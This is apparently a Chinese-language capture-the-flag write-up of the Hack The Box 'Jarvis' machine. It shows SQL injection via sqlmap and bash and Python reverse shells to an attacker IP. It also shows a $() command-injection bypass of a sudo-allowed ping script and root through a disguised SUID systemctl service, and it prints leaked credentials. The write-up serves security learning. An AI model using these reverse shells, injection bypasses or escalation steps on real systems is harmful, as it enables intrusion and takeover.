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<div class="post-body" itemprop="articleBody"><p>简介<br>sql注入获取webshell，sudoers搭配操作系统命令执行获取pepper reverse shell，suid创建systemd服务提权。</p>
<p>靶机状态: rooted.</p>
<p><img src="/HTB-linux-Jarvis/Jarvis_mind.png" alt="简介"></p>
<span id="more"></span>
<h2 id="文章目录"><a href="#文章目录" class="headerlink" title="文章目录"></a>文章目录</h2><ul>
<li>nmap && sqlmap</li>
<li>LinEnum && 命令执行</li>
<li>suid && systemd</li>
</ul>
<blockquote>
<p>nmap && sqlmap</p>
</blockquote>
<p>端口扫面发现22端口OpenSSH 7.4p1，80端口Apache httpd 2.4.25；WEB中间件不存在cve, 直接扫目录，看是否存在敏感信息，同时开始配置host, 查看WEB页面。</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">$ nmap -sC -sV -oA Javris/nmap/Jarvis 10.10.10.143</span><br><span class="line"><span class="comment"># Nmap 7.70 scan initiated Tue Jul 9 22:02:25 2019 as: nmap -sC -sV -oA Jarvis/nmap/Jarvis 10.10.10.143</span></span><br><span class="line">Nmap scan report <span class="keyword">for</span> 10.10.10.143</span><br><span class="line">Host is up (0.32s latency).</span><br><span class="line">Not shown: 998 closed ports</span><br><span class="line">PORT STATE SERVICE VERSION</span><br><span class="line">22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)</span><br><span class="line">| ssh-hostkey:</span><br><span class="line">| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)</span><br><span class="line">| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)</span><br><span class="line">|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:<span class="built_in">cd</span>:c8:15:3a:c3:69:e1 (ED25519)</span><br><span class="line">80/tcp open http Apache httpd 2.4.25 ((Debian))</span><br><span class="line">| http-cookie-flags:</span><br><span class="line">| /:</span><br><span class="line">| PHPSESSID:</span><br><span class="line">|_ httponly flag not <span class="built_in">set</span></span><br><span class="line">|_http-title: Stark Hotel</span><br><span class="line">Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</span><br><span class="line"></span><br><span class="line">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span><br><span class="line"><span class="comment"># Nmap done at Tue Jul 9 22:26:03 2019 -- 1 IP address (1 host up) scanned in 1418.35 seconds</span></span><br></pre></td></tr></table></figure>
<p>然后在 <a target="_blank" rel="noopener" href="http://10.10.10.143/room.php?cod=2">http://10.10.10.143/room.php?cod=2</a> 页面发现sql注入，sqlmap上去跑库、表、用户、读flag、获取os-shell，最后发现获取os-shell是正解。</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># payload: cod=8 AND (SELECT 7865 FROM (SELECT(SLEEP(5)))SzuN)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看主机名</span></span><br><span class="line">$ sqlmap -u http://10.10.10.143/room.php\?cod\=2 -v3 --hostname --batch</span><br><span class="line">jarvis</span><br><span class="line"></span><br><span class="line">$ sqlmap -u http://10.10.10.143/room.php\?cod\=2 -v3 --os-shell --batch</span><br><span class="line">os-shell> /bin/bash -i >& /dev/tcp/10.10.15.234/4444 0>&1</span><br></pre></td></tr></table></figure>
<p>进入webshell之后收集信息，发现php配置文件, 尝试用配置中的用户密码登陆ssh，无果。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="variable">$connection</span>=<span class="keyword">new</span> <span class="title function_ invoke__">mysqli</span>(<span class="string">'127.0.0.1'</span>,<span class="string">'DBadmin'</span>,<span class="string">'imissyou'</span>,<span class="string">'hotel'</span>);</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>
<blockquote>
<p>LinEnum && 命令执行</p>
</blockquote>
<p><strong>www-data</strong> 信息收集未发现有用内容，运行LinEnum.sh收集信息发现www-data用户的sudoers配置</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">www-data@jarvis:/var/www/Admin-Utilities$ <span class="built_in">sudo</span> -l</span><br><span class="line"><span class="built_in">sudo</span> -l</span><br><span class="line">Matching Defaults entries <span class="keyword">for</span> www-data on jarvis:</span><br><span class="line"> env_reset, mail_badpass,</span><br><span class="line"> secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin</span><br><span class="line"></span><br><span class="line">User www-data may run the following commands on jarvis:</span><br><span class="line"> (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py</span><br></pre></td></tr></table></figure>
<p>查看”/var/www/Admin-Utilities/simpler.py”源码, 关键代码如下:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">exec_ping</span>():</span><br><span class="line"> forbidden = [<span class="string">'&'</span>, <span class="string">';'</span>, <span class="string">'-'</span>, <span class="string">'`'</span>, <span class="string">'||'</span>, <span class="string">'|'</span>]</span><br><span class="line"> command = <span class="built_in">input</span>(<span class="string">'Enter an IP: '</span>)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> forbidden:</span><br><span class="line"> <span class="keyword">if</span> i <span class="keyword">in</span> command:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'Got you'</span>)</span><br><span class="line"> exit()</span><br><span class="line"> os.system(<span class="string">'ping '</span> + command)</span><br></pre></td></tr></table></figure>
<p>exec_ping中处理命令执行时，忽略了对$符号的检测，因此利用$()可以读取user.txt和获取反弹shell</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">www-data@jarvis:/var/www/html$ <span class="built_in">sudo</span> -u pepper /var/www/Admin-Utilities/simpler.py -p</span><br><span class="line"><<span class="keyword">do</span> -u pepper /var/www/Admin-Utilities/simpler.py -p</span><br><span class="line">***********************************************</span><br><span class="line"> _ _</span><br><span class="line"> ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _</span><br><span class="line">/ __| | <span class="string">'_ ` _ \| '</span>_ \| |/ _ \ <span class="string">'__| '</span>_ \| | | |</span><br><span class="line">\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |</span><br><span class="line">|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |</span><br><span class="line"> |_| |_| |___/</span><br><span class="line"> @ironhackers.es</span><br><span class="line"></span><br><span class="line">***********************************************</span><br><span class="line"></span><br><span class="line">Enter an IP: $(<span class="built_in">cat</span> /home/pepper/user.txt)</span><br><span class="line">ping: 2afa36c4f05b37b34259c93551f5c44f: Temporary failure <span class="keyword">in</span> name resolution</span><br><span class="line"></span><br><span class="line"><span class="comment"># 编写反弹shell</span></span><br><span class="line">python -c <span class="string">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.187",4447));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行反弹shell</span></span><br><span class="line">www-data@jarvis:/tmp$ <span class="built_in">sudo</span> -u pepper /var/www/Admin-Utilities/simpler.py -p</span><br><span class="line"><span class="built_in">sudo</span> -u pepper /var/www/Admin-Utilities/simpler.py -p</span><br><span class="line">***********************************************</span><br><span class="line"> _ _</span><br><span class="line"> ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _</span><br><span class="line">/ __| | <span class="string">'_ ` _ \| '</span>_ \| |/ _ \ <span class="string">'__| '</span>_ \| | | |</span><br><span class="line">\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |</span><br><span class="line">|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |</span><br><span class="line"> |_| |_| |___/</span><br><span class="line"> @ironhackers.es</span><br><span class="line"></span><br><span class="line">***********************************************</span><br><span class="line"></span><br><span class="line">Enter an IP: $(/bin/bash /tmp/owef.sh)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 攻击机器运行nc监听端口，获取反弹shell</span></span><br><span class="line">nc -lv 4447</span><br><span class="line">bash: cannot <span class="built_in">set</span> terminal process group (599): Inappropriate ioctl <span class="keyword">for</span> device</span><br><span class="line">bash: no job control <span class="keyword">in</span> this shell</span><br><span class="line">pepper@jarvis:/tmp$ <span class="built_in">id</span></span><br><span class="line"><span class="built_in">id</span></span><br><span class="line">uid=1000(pepper) gid=1000(pepper) <span class="built_in">groups</span>=1000(pepper)</span><br></pre></td></tr></table></figure>
<blockquote>
<p>suid && systemd</p>
</blockquote>
<p>获取到pepper的shell后，运行LinEnum.sh收集信息，发现/bin/systemctl被设置了suid，在<a target="_blank" rel="noopener" href="https://gtfobins.github.io/gtfobins/systemctl/">GTFObins</a>中查看利用方法</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> sh -c <span class="string">'cp $(which systemctl) .; chmod +s ./systemctl'</span></span><br><span class="line"></span><br><span class="line">TF=$(<span class="built_in">mktemp</span>).service</span><br><span class="line"><span class="built_in">echo</span> <span class="string">'[Service]</span></span><br><span class="line"><span class="string">Type=oneshot</span></span><br><span class="line"><span class="string">ExecStart=/bin/sh -c "id > /tmp/output"</span></span><br><span class="line"><span class="string">[Install]</span></span><br><span class="line"><span class="string">WantedBy=multi-user.target'</span> > <span class="variable">$TF</span></span><br><span class="line">./systemctl <span class="built_in">link</span> <span class="variable">$TF</span></span><br><span class="line">./systemctl <span class="built_in">enable</span> --now <span class="variable">$TF</span></span><br></pre></td></tr></table></figure>
<p><strong>pepper</strong> 因此编写自己的提权服务，通过systemctl运行安装、运行提权服务获取root权限</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 执行编写owef.service</span></span><br><span class="line">[Unit]</span><br><span class="line">Description=Authentication service <span class="keyword">for</span> virtual machines hosted on VMware</span><br><span class="line">Documentation=http://github.com/vmware/open-vm-tools</span><br><span class="line"></span><br><span class="line">[Service]</span><br><span class="line">ExecStart=/bin/bash /home/pepper/owef.sh</span><br><span class="line"></span><br><span class="line">[Install]</span><br><span class="line">WantedBy=multi-user.target</span><br><span class="line"></span><br><span class="line"><span class="comment"># 利用systemctl创建服务</span></span><br><span class="line">$ /bin/systemctl <span class="built_in">link</span> /home/pepper/owef.service</span><br><span class="line">$ /bin/systemctl <span class="built_in">enable</span> --now owef.service</span><br><span class="line"></span><br><span class="line">$ nc -lv 4448</span><br><span class="line">bash: cannot <span class="built_in">set</span> terminal process group (11105): Inappropriate ioctl <span class="keyword">for</span> device</span><br><span class="line">bash: no job control <span class="keyword">in</span> this shell</span><br><span class="line">root@jarvis:/# <span class="built_in">cd</span></span><br><span class="line"><span class="built_in">cd</span></span><br><span class="line">bash: <span class="built_in">cd</span>: HOME not <span class="built_in">set</span></span><br><span class="line">root@jarvis:/# <span class="built_in">cd</span> /root</span><br><span class="line"><span class="built_in">cd</span> /root</span><br><span class="line">root@jarvis:/root# <span class="built_in">cat</span> root.txt</span><br><span class="line"><span class="built_in">cat</span> root.txt</span><br><span class="line">d41d8cd98f00b204e9800998ecf84271</span><br><span class="line">root@jarvis:/root#</span><br></pre></td></tr></table></figure>
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